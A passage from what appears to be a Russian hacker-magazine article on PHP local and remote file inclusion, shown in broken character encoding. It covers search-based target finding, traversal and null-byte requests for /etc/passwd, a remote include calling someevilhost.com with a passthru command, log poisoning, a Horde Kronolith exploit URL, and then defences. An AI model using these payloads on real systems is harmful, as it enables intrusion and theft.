çàïðàøèâàåì ëþáóþ ñòðàíèöó, ñîäåðæàùóþñòðîêó «index.php?page=» â êàêîì-ëèáî url. Òàêèìîáðàçîì, ðåçóëüòàòîì ïîèñêà áóäóò ñòðàíèöû, ñîäåðæàùèåèñêîìóþ ñòðîêó, âíå çàâèñèìîñòè îò òîãî,êàêîå çíà÷åíèå ïåðåäàåòñÿ ïàðàìåòðó «page».Ïîòåíöèàëüíûå æåðòâû îáíàðóæåíû. Òåïåðüíàäî âûäåëèòü öåëåâûå ñàéòû. Õîðîøåé ïðîâåðêîéòîãî, ÿâëÿåòñÿ ëè web-ñàéò äåéñòâèòåëüíî óÿçâèìûì,áóäåò, íàïðèìåð, ïðèñâîåíèå çíà÷åíèÿ www.google.comïàðàìåòðó «page»: www.site.com/index.php?page=www.google.com. èòîãå, åñëè âìåñòî äàííûõ ïðîâåðÿåìîãî ñàéòàïîÿâëÿåòñÿ ñòðàíè÷êà google.com, web-ñàéò óÿçâèì.ðàçáîð è ðåäàêòèðîâàíèå èñõîäíèêîâ webñòðàíèö.Èíîãäà áûâàåò ïîëåçíî ïðîñìîòðåòü èñõîäíûéêîä web-ñòðàíèöû. Îáû÷íî ýòî ìîæíî ñäåëàòü÷åðåç êîíòåêñòíîå ìåíþ «Ïðàâûé êëèê (RightClick)»!«Ïðîñìîòð èñõîäíîãî êîäà ñòðàíèöû (ViewSource)» èëè ÷åðåç ìåíþ «Âèä (View)» ïóíêòà «Èñõîäíûéòåêñò ñòðàíèöû (Source)». Ïðàâäà, òàêèì ñïîñîáîììîæíî ïðîñìîòðåòü òîëüêî èñõîäíûå êîäûHTML-ñòðàíèö. Êîä web-ïðèëîæåíèé, íàïèñàííûõ íàPHP, Perl, ASP è äðóãèõ èíòåðïðåòèðóåìûõ ÿçûêàõóâèäåòü íåëüçÿ, ïîñêîëüêó îí âûïîëíÿåòñÿ íà ñòîðîíåñåðâåðà, à íà ñòðàíèöó âûâîäÿòñÿ òîëüêî ðåçóëüòàòûðàáîòû ñöåíàðèÿ. Òàêèì îáðàçîì, ìîæíî ëèøüïîïûòàòüñÿ íàéòè óÿçâèìîñòü, ïîçâîëÿþùóþ ïîëó-÷èòü ñîäåðæèìîå òîãî èëè èíîãî ôàéëà.Ðàññìîòðèì ïðèìåð òîãî, êàê ìîæíî èçìåíÿòüïàðàìåòðû ýëåìåíòîâ web-ñòðàíèöû. Ïðåäïîëîæèì,ìû çàøëè íà ñòðàíèöó, ñîäåðæàùóþ ôîðìóäëÿ ââîäà èìåíè è ïàðîëÿ ïîëüçîâàòåëÿ. Îòêðûâòåêñò ñòðàíèöû, óâèäèì ïðèìåðíî ñëåäóþùåå:


18 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07Êîãäà ïðîèñõîäèò âêëþ÷åíèå ôàéëà, êîä, ñîäåðæàùèéñÿâ ýòîì ôàéëå, íàñëåäóåò ïåðåìåííûå,ïðåäîïðåäåëåííûå äî ñòðîêè, íà êîòîðîé ïðîèñõîäèòâêëþ÷åíèå. Ëþáûå ïåðåìåííûå, äîñòóïíûåâ ýòîé ñòðîêå â âûçûâàþùåì ôàéëå, áóäóò äîñòóïíûâíóòðè âûçûâàåìîãî ôàéëà. Îòìåòèì, ÷òî âñåôóíêöèè è êëàññû, îïðåäåëåííûå âî âêëþ÷åííîìôàéëå, èìåþò ãëîáàëüíóþ îáëàñòü âèäèìîñòè.include_once()/require_once(). Include_once()âêëþ÷àåò è âûïîëíÿåò óêàçàííûé ôàéë âî âðåìÿâûïîëíåíèÿ ñêðèïòà. Äàííîå ïîâåäåíèå íàïîìèíàåòîïèñàííîå ðàíåå ïîâåäåíèå ôóíêöèè include(),ñ åäèíñòâåííûì îòëè÷èåì, çàêëþ÷àþùèìñÿ â ñëåäóþùåìóñëîâèè: åñëè êîä ôàéëà óæå áûë âêëþ÷åí,îí íå áóäåò âêëþ÷åí ñíîâà. Òàêèì îáðàçîì, êîäâêëþ÷àåìîãî ôàéëà âûïîëíèòñÿ ëèøü ðàç. Îòëè÷èårequire_once() îò include_once() àíàëîãè÷íî îòëè÷èþôóíêöèé include() è require(). Äàííûìè ôóíêöèÿìèñëåäóåò ïîëüçîâàòüñÿ, ÷òîáû èçáåæàòü ïðîáëåì,ñâÿçàííûõ ñ ïåðåîïðåäåëåíèåì ôóíêöèé è ïåðåíàçíà÷åíèåìçíà÷åíèé ïåðåìåííûõ.register_globals. Êàæäûé ïîëüçîâàòåëü, èíòåðåñóþùèéñÿýêñïëîéòàìè è ïîñåùàþùèé áàãòðàê,õîòÿ áû ðàç âèäåë ôðàçó: «Ýêñïëóàòèðîâàíèå óÿçâèìîñòèòðåáóåò âêëþ÷åíèÿ îïöèè register_globalsâ êîíôèãóðàöèîííîì ôàéëå PHP». Äàâàé ðàçáåðåìñÿ,÷òî ýòî çà îïöèÿ è ñ ÷åì åå åäÿò.Ðàññìîòðèìïðèìåð, ñîñòîÿùèé èç òðåõ ôàéëîâ:ôàéë sample1.php:Ïðîñìîòð èñõîäíîãî êîäà ñòðàíèöûêàê PHP-êîä. Äåéñòâèÿ ôóíêöèé include() è require()èäåíòè÷íû çà èñêëþ÷åíèåì òîãî, êàê îíè îáðàáàòûâàþòîøèáêè.  ñëó÷àå íåóäà÷è include() âîçâðàùàåòïðåäóïðåæäåíèå (Warning), â òî âðåìÿ êàê ðåçóëüòàòîìrequire() â ýòîì ñëó÷àå áóäåò âîçâðàùåíèåôàòàëüíîé îøèáêè (Fatal Error). Òàêèì îáðàçîì,ïðè íåîáõîäèìîñòè ïðåðâàòü îáðàáîòêó ñòðàíèöûâ ñëó÷àå íåâîçìîæíîñòè âêëþ÷èòü èñêîìûé ôàéë,íóæíî ïîëüçîâàòüñÿ ôóíêöèåé require(). Ïðè èñïîëüçîâàíèèinclude() â ñëó÷àå îøèáêè ñöåíàðèé ïðîäîëæèòâûïîëíåíèå.Êîíôèãóðàöèîííàÿ äèðåêòèâà include_pathóêàçûâàåò ñïèñîê äèðåêòîðèé, â êîòîðûõ ôóíêöèèrequire() è include() èùóò ôàéëû. Ôîðìàò ñîîòâåòñòâóåòôîðìàòó ïåðåìåííîé îêðóæåíèÿPATH èñïîëüçóåìîé ñèñòåìû: ñïèñîê äèðåêòîðèé,ðàçäåëåííûõ äâîåòî÷èåì â Unix èëè òî÷êîéñ çàïÿòîé â Windows.Ñïåðâà ñèñòåìà èùåò ôàéëû â ïóòè include_path îòíîñèòåëüíîòåêóùåé äèðåêòîðèè, à çàòåì — â include_pathîòíîñèòåëüíî äèðåêòîðèè òåêóùåãî ñêðèïòà. Íàïðèìåð,åñëè include_path èìååò çíà÷åíèå «.», òåêóùàÿðàáî÷àÿ äèðåêòîðèÿ /www/, ðàáî÷èé ñöåíàðèé include/a.php,è â ýòîì ñöåíàðèè ìû îñóùåñòâëÿåì âêëþ-÷åíèå include «sample2.php», òî ñèñòåìà áóäåò èñêàòüsample2.php ñíà÷àëà â /www/, à çàòåì â /www/include/.Åñëè èìÿ ôàéëà íà÷èíàåòñÿ ñ ./ èëè ../, îí èùåòñÿ òîëüêîâ include_path îòíîñèòåëüíî òåêóùåé äèðåêòîðèè.ôàéë sample2.php:ôàéë sample3.php:Êàê âèäíî, ôàéë sample1.php âêëþ÷àåò sample2.php,à ôàéë sample2.php âêëþ÷àåò sample3.php.Ôàéë sample1.php óñòàíàâëèâàåò ïåðåìåííóþ$var1 äî âûçîâà sample2.php. Çàòåì â sample2.phpâêëþ÷àåòñÿ ôàéë âíå çàâèñèìîñòè îò òîãî, êàêîåÏÎÂÅÄÅÍÈÅ ÌÍÎÃÈÕ ÔÓÍÊÖÈÉ ÇÀÂÈÑÈÒ ÎÒ ÍÀÑÒÐÎÅÊ Â PHP.INI,ÏÎÝÒÎÌÓ ÒÙÀÒÅËÜÍÎ ÏÐÎÂÅÐßÉ ÝÒÎÒ ÔÀÉË ÏÅÐÅÄÈÑÏÎËÜÇÎÂÀÍÈÅÌ ÊÀÊÎÉ-ËÈÁÎ ÍÎÂÎÉ ÔÓÍÊÖÈÈ


19çíà÷åíèå èìååò $var1. Ïðîáëåìà äàííîãî êîäàâ ñëåäóþùåì: îí íå ó÷èòûâàåò, ÷òî êòî-òî ìîæåò ïîëó÷èòüäîñòóï íàïðÿìóþ ê sample2.php.Ïðîáëåìà ïðîÿâèò ñåáÿ, åñëè â êîíôèãóðàöèîííîìôàéëå PHP âêëþ÷åíà äèðåêòèâà register_globals.Âêëþ÷åíèå äàííîé äèðåêòèâû îçíà÷àåò, ÷òî ëþáàÿïåðåìåííàÿ ìîæåò áûòü óñòàíîâëåíà ÷åðåç çàïðîñïîëüçîâàòåëÿ. Ïåðåìåííàÿ $var1 óñòàíîâëåíàäî èñïîëüçîâàíèÿ â sample2.php, íî åñëè êòî-òî ïîëó÷èòäîñòóï â sample2.php ïåðâûì (äî sample1.php),è ñâîéñòâî register_globals áóäåò âêëþ÷åíî, òî çíà÷åíèåïåðåìåííîé $var1 ìîæåò áûòü èçìåíåíî ÷åðåçïîëüçîâàòåëüñêèé çàïðîñ.Ê ïðèìåðó, åñëè web-ïðèëîæåíèå äîñòóïíî ïîññûëêå www.vul_site.com/sample1.php, âñå, ÷òî íàì íóæíîñäåëàòü, — ýòî ïåðåéòè ïî àäðåñó www.vul_site.com/sample2.phpè, â çàâèñèìîñòè îò íàñòðîåê â php.ini, ìû, ñêîðååâñåãî, ïîëó÷èì ñòðàíèöó ñ îøèáêîé, êîòîðàÿ ïîäñêàæåòíàì, ÷òî sample2.php îæèäàåò íåêîòîðîå çíà÷åíèåäëÿ ïåðåìåííîé $var1. À ïîñêîëüêó ñâîéñòâî register_globalsâêëþ÷åíî, ïîëüçîâàòåëü ñàìîñòîÿòåëüíîìîæåò èíèöèàëèçèðîâàòü çíà÷åíèå äàííîé ïåðåìåííîé÷åðåç ñîîòâåòñòâóþùèé çàïðîñ: www.vul_site.com/-sample2.php?var1=any_file_name. Ñöåíàðèé ïîïûòàåòñÿïîäêëþ÷èòü ñîîòâåòñòâóþùèé èñêîìûé ôàéë, â ñëó-÷àå íåóäà÷è áóäåò âûäàíî ñîîáùåíèå îá îøèáêå.magic_quotes_gpc. Èòàê, ïîïûòàåìñÿ èçâëå÷üïîëüçó è ïîäêëþ÷èòü âìåñòî âàëèäíîãî ñöåíàðèÿ,íàïðèìåð, ôàéë, ñîäåðæàùèé õýøè ïàðîëåé ïîëüçîâàòåëåé/etc/passwd:www.vul_site.com/sample2.php?var1=../../../../../../../etc/passwd.Íî â ðåçóëüòàòå ìû ïîëó÷èì îøèáêó. Ïîäêëþ÷åíèåôàéëà íå ïðîèçîéäåò ïîòîìó, ÷òî ñöåíàðèé sample2.phpäîïèñûâàåò â êîíöå ëþáîãî ôàéëà ðàñøèðåíèå«.php» è ïûòàåòñÿ ïîëó÷èòü äîñòóï ê ../../../../../../-../etc/passwd.ðhp, êîòîðîãî, åñòåñòâåííî, íå ñóùåñòâóåò.Ñîîòâåòñòâåííî, åñëè â ñâîèõ «ó÷åáíûõ» öåëÿõìû õîòèì èñïîëüçîâàòü ÷òî-ëèáî ïîìèìî PHP-ñöåíàðèåâ,íóæíî èçáåæàòü äîáàâëåíèÿ îêîí÷àíèÿ «.php».Ðåøåíèå ïðîáëåìû ëåæèò â ôàéëå php.ini è íàçûâàåòñÿmagic_quotes_gpc. Magic_quotes_gpc — ýòî ñâîéñòâî,äåéñòâèÿ êîòîðîãî ýêâèâàëåíòíû äåéñòâèþôóíêöèè addslashes(). Äàííàÿ ôóíêöèÿ âîçâðàùàåòñðîêó, â êîòîðîé ïåðåä êàæäûì ñïåöñèìâîëîì (',",\ èNUL (áàéò NULL)) äîáàâëåí îáðàòíûé ñëåø (\). ÀááðåâèàòóðàGPC ðàñøèôðîâûâàåòñÿ êàê Get, Post, Cookie.Ýòî çíà÷èò, ÷òî ïî ñóòè magic_quotes_gpc ïðèìåíÿåòôóíêöèþ addslashes() êî âñåì âàøèì GET-,POST-, è COOKIE-äàííûì.Òàêèì îáðàçîì, åñëè ñâîéñòâî magic_quotes_gpcóñòàíîâëåíî â «off», çíà÷èò, ñóùåñòâóåò âîçìîæíîñòüâêëþ÷åíèÿ ëîêàëüíûõ ôàéëîâ ñ íóëåâûìáàéòîì â êîíöå èìåíè ôàéëà.  PHP íóëåâîé ñèìâîëîáîçíà÷àåòñÿ êàê «\n», ÷òî ýêâèâàëåíòíî øåñòíàäöàòåðè÷íîìóçíà÷åíèþ «%00».Òàêèì îáðàçîì, ñëåäóþùèé çàïðîñ ñïîñîáåíïðåäîñòàâèòü èíòåðåñóþùèé íàñ ôàéë /etc/passwd:www.vul_site.com/sample2.php?var1=../../../../../../../etc/passwd%00Îòìåòèì, ÷òî ñèìâîëû «../» aka «dot dot slash» ÿâëÿþòñÿñïåöèôèêàòîðàìè îáõîäà äèðåêòîðèé (DirectoryTraversal Specifiers) è ñëóæàò äëÿ äîñòóïà ê ôàéëàìâíå òåêóùåé äèðåêòîðèè. Òàê æå ìîæíî âêëþ÷àòüóäàëåííûå ôàéëû, ñîäåðæàùèå çëîíàìåðåííûé êîä.Ïðåäïîëîæèì, ìû õîòèì âêëþ÷èòü óäàëåííûéôàéë evilscript.php ñëåäóþùåãî ñîäåðæàíèÿ:Êîìàíäà passthru() â PHP âûïîëíÿåò óêàçàííûå êîìàíäûíà ñåðâåðå. Ïåðåìåííàÿ $_GET æäåò óêàçàíèÿêîìàíäû è åå ïàðàìåòðîâ â çàïðîñå ïîëüçîâàòåëÿ. ðåçóëüòàòå ìû ìîæåì ïîëó÷èòü ôàéë ñ ïàðîëÿìèïîëüçîâàòåëåé óæå äðóãèì ñïîñîáîì, èñïîëüçóÿóäàëåííûé ñöåíàðèé evilscript.php è ÿâíîóêàçàâ íóæíóþ êîìàíäó â ñòðîêå çàïðîñà:http://localhost/index.php?page=http://someevilhost.com/evilscript.php?cmd=cat /etc/passwdèíæåêòèðîâàíèå ñöåíàðèÿ â ëîã-ôàéëû. Èíîãäàâîçíèêàåò ñèòóàöèÿ, êîãäà àäìèíèñòðàòîð ñàéòàñ ïîìîùüþ íåêîòîðûõ íàñòðîåê çàïðåùàåò ïîäêëþ-÷àòü óäàëåííûå ôàéëû. Íàïðèìåð, óñòàíîâêà îïöèèallow_url_fopen â çíà÷åíèå «off» çàïðåòèò âêëþ÷àòüñöåíàðèè ñ óäàëåííûõ ðåñóðñîâ. Òåì íå ìåíåå, äàæåâ ýòîé ñèòóàöèè îñòàåòñÿ âîçìîæíîñòü èíæåêòèðîâàòüñîáñòâåííûé PHP-êîä â æóðíàë ðåãèñòðàöèèñîáûòèé. Äëÿ ýòîãî íóæíî ñîñòàâèòü HTTP-GETçàïðîñ,ñîäåðæàùèé â ñåáå PHP-êîä, êîòîðûé íåîáõîäèìîâûïîëíèòü.$CODE ='';$content.="GET /path/".$CODE."HTTP/1.1/n";$content.="User-Agent: ".$CODE."/n";$content.="Host: ".$host."/n";$content.="Connection: close/n/n"; ðåçóëüòàòå PHP-êîä áóäåò ïåðåäàí ñåðâåðó ÷åðåçïðåäñòàâëåííûé çàïðîñ. Ñåðâåð çàðåãèñòðèðóåò ïîïûòêóäîñòóïà â ñâîèõ ëîãàõ. Ýòî çíà÷èò, ÷òî â ôàéëàõðåãèñòðàöèè ñîáûòèé îñòàíåòñÿ è íàø PHP-êîä.Ïîñëå ýòîãî îñòàåòñÿ òîëüêî ïîëó÷èòü äîñòóï ê æóðíàëàì÷åðåç ëîêàëüíîå âêëþ÷åíèå ôàéëîâ. Âûïîëíåíèåëîã-ôàéëà ïðè âêëþ÷åíèè íè÷åì íå îòëè÷àåòñÿîò âûïîëíåíèÿ PHP-ñöåíàðèÿ: ëèøíèé ìóñîð áóäåòîòáðîøåí, à ôóíêöèè PHP — âûïîëíåíû. Ïåðåäàííûåêîìàíäû áóäóò âûïîëíåíû áåç íåîáõîäèìîñòèâêëþ÷åíèÿ óäàëåííîãî ôàéëà. Äëÿ âûïîëíåíèÿ äàííîãîýêñïëîéòà íåîáõîäèìî âêëþ÷åíèå îïöèè register_globalsè âûêëþ÷åíèå îïöèè magic_quotes_gpc.óÿçâèìîñòü â Horde Kronolith. Íà ìîìåíò íàïèñàíèÿäàííîé ñòàòüè îäíîé èç ïîñëåäíèõ íà iDefenceLabs áûëà íîâîñòü îá óÿçâèìîñòè â web-êàëåíäàðåHorde Kronolith, ïîçâîëÿþùåé âêëþ÷èòü è âûïîëíèòüïðîèçâîëüíûé ëîêàëüíûé ôàéë.  îïóáëèêîâàííîéíîâîñòè ðàññìàòðèâàåòñÿ ïðîáëåìíûé ó÷àñòîê êîäà,íî íå ïðèâîäèòñÿ ïðèìåð ýêñïëóàòèðîâàíèÿ óÿçâèìîñòè.Äàâàé ïðîàíàëèçèðóåì, íàñêîëüêî ëåãêî çëîóìûøëåííèêìîæåò ñîñòàâèòü ýêñïëîéò, èìåÿ ïåðåäãëàçàìè ïðîáëåìíûé ó÷àñòîê êîäà.Íà ñàéòå ïðèâîäèëñÿ ñëåäóþùèé ó÷àñòîêïðîáëåìíîãî êîäà ñöåíàðèÿ 'lib/FBView.php':177 function &factory($view)178 {179 $driver = basename($view);180 require_once dirname(__FILE__) .'/FBView/' . $view . '.php';Êàê âèäíî, óÿçâèìîñòü îáíàðóæåíà â ôóíêöèèKronolith_FreeBusy_View::factory, êîòîðàÿ âêëþ÷àåòëîêàëüíûå ôàéëû, ïåðåäàííûå ÷åðåç 'view' HTTP-GET-ïàðàìåòð çàïðîñà.  ñòðîêå 179 ñ ïîìîùüþôóíêöèè basename(string path [, string suffix]) îñóùåñòâëåíàïðîâåðêà ââîäèìûõ äàííûõ. Äàííàÿ ôóíêöèÿâîçâðàùàåò èìÿ ôàéëà, ÷åé ïóòü ïåðåäàåòñÿ â êà÷åñòâåïàðàìåòðà. Åñëè èìÿ ôàéëà îêàí÷èâàåòñÿ íàsuffix, îí òàêæå áóäåò îòáðîøåí. Òàêèì îáðàçîì, èñïîëüçóÿôóíêöèþ basename(), ðàçðàáîò÷èêè ïîçàáîòèëèñüîá îáðåçàíèè âîçìîæíûõ çëîíàìåðåííûõñèìâîëîâ, ñîäåðæàùèõñÿ â ïåðåìåííîé $view. Îäíà-äîáðûé èíñïåêòîð ÑÒÀÒÜÅ ÌÛ ÐÀÑÑÌÎÒÐÅËÈÂÎÇÌÎÆÍÎÑÒÜ ÌÎÄÈÔÈÊÀÖÈÈÈÑÕÎÄÍÛÕ ÒÅÊÑÒΠÑÒÐÀÍÈÖÛÏÓÒÅÌ ÑÎÕÐÀÍÅÍÈß ÒÅÊÑÒÎÂ È ÈÕÈÇÌÅÍÅÍÈß Â ÎÔÔËÀÉÍÅ.ÏÐÈ ÈÑÏÎËÜÇÎÂÀÍÈÈ ÏÐÎÄÂÈÍÓÒÛÕWEB-ÁÐÀÓÇÅÐÎÂ, ÒÀÊÈÕ ÊÀÊ FIREFOX,ÑÓÙÅÑÒÂÓÅÒ ÁÎËÅÅ ÏÐÎÑÒÎÉ ÌÅÒÎÄÐÅØÅÍÈß ÄÀÍÍÎÉ ÏÐÎÁËÅÌÛ. ÈÌß ÅÌÓDOM INSPECTOR (TOOLS!WEB DEVELOP-MENT!DOM INSPECTOR).ÏÐÈ ÈÑÏÎËÜÇÎÂÀÍÈÈ DOM-ÈÍÑÏÅÊÒÎÐÀ, ÂÑÅ, ×ÒÎ ÍÀÌ ÍÓÆÍÎ, —ÝÒÎ ÎÒÊÐÛÒÜ ÏÎÄÎÏÛÒÍÓÞ ÑÒÐÀÍÈÖÓ. ÐÅÇÓËÜÒÀÒÅ ÂÍÈÇÓ ÎÊÍÀ ÁÐÀÓÇÅÐÀDOM-ÈÍÑÏÅÊÒÎÐÀ ÐÀÑÊÐÎÅÒÑßÑÒÐÀÍÈÖÀ.ÑËÅÂÀ ÂÂÅÐÕÓ ÎÊÍÀ DOM-ÈÍÑÏÅÊÒÎÐÀÏÎßÂÈÒÑß ÑÒÐÓÊÒÓÐÀ ÈÑÑËÅÄÓÅÌÎÉÑÒÐÀÍÈÖÛ. ÍÀÆÈÌÀß ÍÀ ÊÍÎÏÊÓÑÎ ÑÒÐÅËÊÎÉ-ÓÊÀÇÀÒÅËÅÌ ÑËÅÂÀÍÀ ÏÀÍÅËÈ ÈÍÑÒÐÓÌÅÍÒΠDOM-ÈÍÑÏÅÊÒÎÐÀ È ÊËÈÊÀß ÏÎÈÍÒÅÐÅÑÓÞÙÅÌÓ ÍÀÑ ÝËÅÌÅÍÒÓÈÑÑËÅÄÓÅÌÎÉ ÑÒÐÀÍÈÖÛ, ÌÎÆÍÎËÅÃÊÎ ÏÅÐÅÄÂÈÃÀÒÜÑß È ÈÇÌÅÍßÒÜÍÓÆÍÛÅ ÒÅÃÈ È ÈÕ ÀÒÐÈÁÓÒÛ.


20 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07Èíñïåêòîð DOMêî â ñòðîêå 180 íå èñïîëüçóåòñÿ ðåçóëüòèðóþùàÿ ïåðåìåííàÿ$driver. Ïî íåâíèìàòåëüíîñòè ðàçðàáîò÷èêïî-ïðåæíåìó èñïîëüçóåò ïåðåìåííóþ $view ïðè ïîäêëþ÷åíèèôàéëà. Èñïîëüçóÿ ñèìâîëû îáõîäà äèðåêòîðèé(../) è íóëåâûå áàéòû (%00), àòàêóþùèé ìîæåò ïîëó÷èòüäîñòóï ê ëîêàëüíûì ôàéëàì web-ñåðâåðà. ðåçóëüòàòå, äëÿ îòîáðàæåíèÿ âñå òîãî æåôàéëà ïàðîëåé, íàõîäÿùåãîñÿ â ôàéëå /etc/passwd,÷åðåç ïåðåìåííóþ $view íóæíî âûïîëíèòü çàïðîñ:http://vul_site/path/lib/FBView.php?view=../../../../../../../../../etc/passwd%00.Ïîëó÷àåòñÿ, ÷òî äàæå áåç ÿâíîãî ýêñïëîéòà çëîóìûøëåííèêóíå ñîñòàâëÿåò òðóäà ðàçðàáîòàòü ñîáñòâåííûéâàðèàíò íàïàäåíèÿ ïî ïðèâîäèìûì äàííûì ïðîèçâîäèòåëåéèëè àíàëèòèêîâ áåçîïàñíîñòè î ïðîáëåìíûõó÷àñòêàõ êîäà â ïðîãðàììíîì îáåñïå÷åíèè.çàùèòà web-ïðèëîæåíèÿ. Èòàê, ñåé÷àñ ìû óæåçíàåì, êàê óñòðîåíû LFI-/RFI-ýêñïëîéòû è êàêèåîøèáêè ïðîãðàììèñòîâ îíè èñïîëüçóþò. Òåïåðüíóæíî ïîíÿòü, êàê íå äàòü óäàëåííîìó çëîóìûøëåííèêóîñóùåñòâèòü PHP-èíêëþäèíã ñöåíàðèåâ.Ñàìûì ïðîñòûì ïðèìåðîì, èñêëþ÷àþùèìëþáóþ âîçìîæíîñòü èíæåêòèðîâàíèÿ çëîíàìåðåííîãîêîäà ÷åðåç URL, ÿâëÿåòñÿ îòêàç îò èñïîëüçîâàíèÿïåðåìåííîé äëÿ õðàíåíèÿ èìåíè ñöåíàðèÿ.Âìåñòî ýòîãî èìÿ ñöåíàðèÿ íóæíî óêàçûâàòü ÿâíî.Ðàññìîòðèì ïðèìåð: Ïóñòü âêëþ÷åíèå ôàéëà ïðîèñõîäèòñëåäóþùèì îáðàçîì: require($page . «otherpage.php»);.Ìû óæå çíàåì, ÷òî äàííûé êîä ïîòåíöèàëüíîóÿçâèì. Óñòðàíèì óÿçâèìîñòü, ÿâíî óêàçàâ ñöåíàðèé:require(«otherpage.php»);. Òàêèì îáðàçîì,â ñòðîêå çàïðîñà âìåñòî ñòðîêè index.php?page=otherpage.phpìû ïîëó÷èì ñîâåðøåííî áåçîáèäíóþñòðîêó, óñòðàíÿþùóþ âîçìîæíîñòü âêëþ÷åíèÿñòîðîííåãî ñöåíàðèÿ: index.php?otherpage.php.Íî ÷òî åñëè èñïîëüçîâàíèå ïåðåìåííîé æèçíåííîíåîáõîäèìî äëÿ íàøåé ïðîãðàììû? ×òîáûáûòü óâåðåííûì, ÷òî íèêòî íå äîïèøåò â ïåðåìåííóþçëîíàìåðåííûé êîä, íåîáõîäèìî èçáàâèòüñÿ îòâñåõ ëèøíèõ ñèìâîëîâ â ñòðîêå çàïðîñà, âêëþ÷àÿñèìâîë ïåðåâîäà ñòðîêè «\n», ñèìâîë ïðîáåëà « »,ñèìâîë òàáóëÿöèè «\t», ñèìâîë âîçâðàòà êàðåòêè «\r»è äðóãèå. Ðåøèòü ïðîáëåìó ïîìîæåò ôóíêöèÿ chop()(èëè åå ïñåâäîíèì rtrim()), êîòîðàÿ âîçâðàùàåò ñòðîêóñ óäàëåííûìè ñïåöñèìâîëàìè ñ êîíöà ñòðîêè.ïðèìåð èñïîëüçîâàíèÿ chop():FilesÑëåäóåò òàêæå ó÷èòûâàòü, ÷òî â îáùåì ñëó÷àå äàííûåâ áàçó áóäóò ââîäèòüñÿ íåïðîâåðåííûìè ïîëüçîâàòåëÿìè.È ñðàçó ïîñëå èçâëå÷åíèÿ èç áàçû — èñïîëüçîâàòüñÿäëÿ ãåíåðàöèè html-ñòðàíèö, íàïðèìåð,ñòðàíèöû ãîñòåâîé êíèãè. Äëÿ èñêëþ÷åíèÿ ïîòåíöèàëüíîéîïàñíîñòè èñïîëüçîâàíèÿ òåãîâ è êîìàíäJavaScript íåîáõîäèìî ïðåîáðàçîâàòü õðàíèìûåäàííûå ñ ïîìîùüþ ôóíêöèè PHP htmlspecialchars().Òàêæå ñòîèò çàïðåòèòü â PHP èñïîëüçîâàíèåîïàñíûõ ôóíêöèé, íàïîäîáèå ðàññìîòðåííîé ðàíååpassthru(), êîòîðàÿ èñïîëíÿåò ïåðåäàííûå åé êîìàíäûñ ïðèâèëåãèÿìè çàïóùåííîãî web-ñåðâåðà. Íåçàáóäåì è ïðî íåêîòîðûå îñîáåííî êðèòè÷åñêèå îïöèèâ php.ini. Ïî âîçìîæíîñòè, íóæíî âûêëþ÷èòü äèðåêòèâûregister_globals è allow_url_fopen è âêëþ-÷èòü äèðåêòèâó magic_quotes_gpc. Êîíå÷íî, íåîáõîäèìîó÷èòûâàòü, ÷òî êòî-òî ìîæåò èñïîëüçîâàòüäàííóþ ôóíêöèîíàëüíîñòü è â ëåãèòèìíûõ öåëÿõ.ñîâåò â äîðîãó. Ïðîãðàììèðóÿ, íåîáõîäèìîïîìíèòü, ÷òî íåàêêóðàòíîå èñïîëüçîâàíèå ôóíêöèérequire(), include() è èì ïîäîáíûõ ìîæåò ïðèâåñòè íåòîëüêî ê èíòåðïðåòèðîâàíèþ PHP-êîäà íà ñòîðîíåñåðâåðà, íî è êî ìíîãèì äðóãèì àòàêàì. Íàïðèìåð,åñëè ôàéë, êîòîðûé äîëæåí áûòü âêëþ÷åí, íå ñóùåñòâóåò,óäàëåííûé çëîóìûøëåííèê ìîæåò ïðîâåñòèXSS-íàïàäåíèå è âûïîëíèòü JavaScript-êîä â áðàóçåðåïîëüçîâàòåëÿ-æåðòâû. Òàêæå îòñóòñòâèå âêëþ-÷àåìîãî ôàéëà ìîæåò ïîâëå÷ü çà ñîáîé ðàñêðûòèåêîíôèäåíöèàëüíîé èíôîðìàöèè, ïîëåçíîé äëÿ õàêåðà,÷åðåç ïîëó÷åíèå ñîîáùåíèÿ îá îøèáêå. Ïîñêîëüêóñèíòàêñèñ ñîîáùåíèÿ îá îøèáêå äëÿ ôóíêöèèinclude() ñîäåðæèò âûâîä íàçâàíèÿ ïàðàìåòðàè ïóòü ê ñöåíàðèþ:Warning: main(%parameter%): failedto open stream: No such file or directoryin %path% on line %x%Warning: main(): Failed opening'%parameter%' for inclusion(include_path='%path%') in %path%on line %x%òî ñëåäóþùèé êîä: ñëó÷àå íåâîçìîæíîñòè îáíàðóæèòü èñêîìûé ôàéë,âûäàñò ñîîáùåíèå îá îøèáêå, äåìîíñòðèðóþùåå õàêåðóöåëåâîé ïàðàìåòð è èìÿ ñöåíàðèÿ:Warning: main(): Failed openingMy_param for inclusion(include_path=/whatever/path/filename.php) in /whatever/path/filename.phpon line 2Íà ýòîì íàøå ïîâåñòâîâàíèå ïîäõîäèò ê êîíöó. Æåëàåìóäà÷è íà íèâå IT-áåçîïàñíîñòè.PHP-èíêëþäèíã â Horde Kronolith


VERSUS4,3 KENTSFIELD SLINVIDIA GeForce 8800: GTX GTSDVD


22 ÃËÎÁÀËÜÍÀß ÝÏÈÄÅÌÈß ÑÏÅÖ 02-07


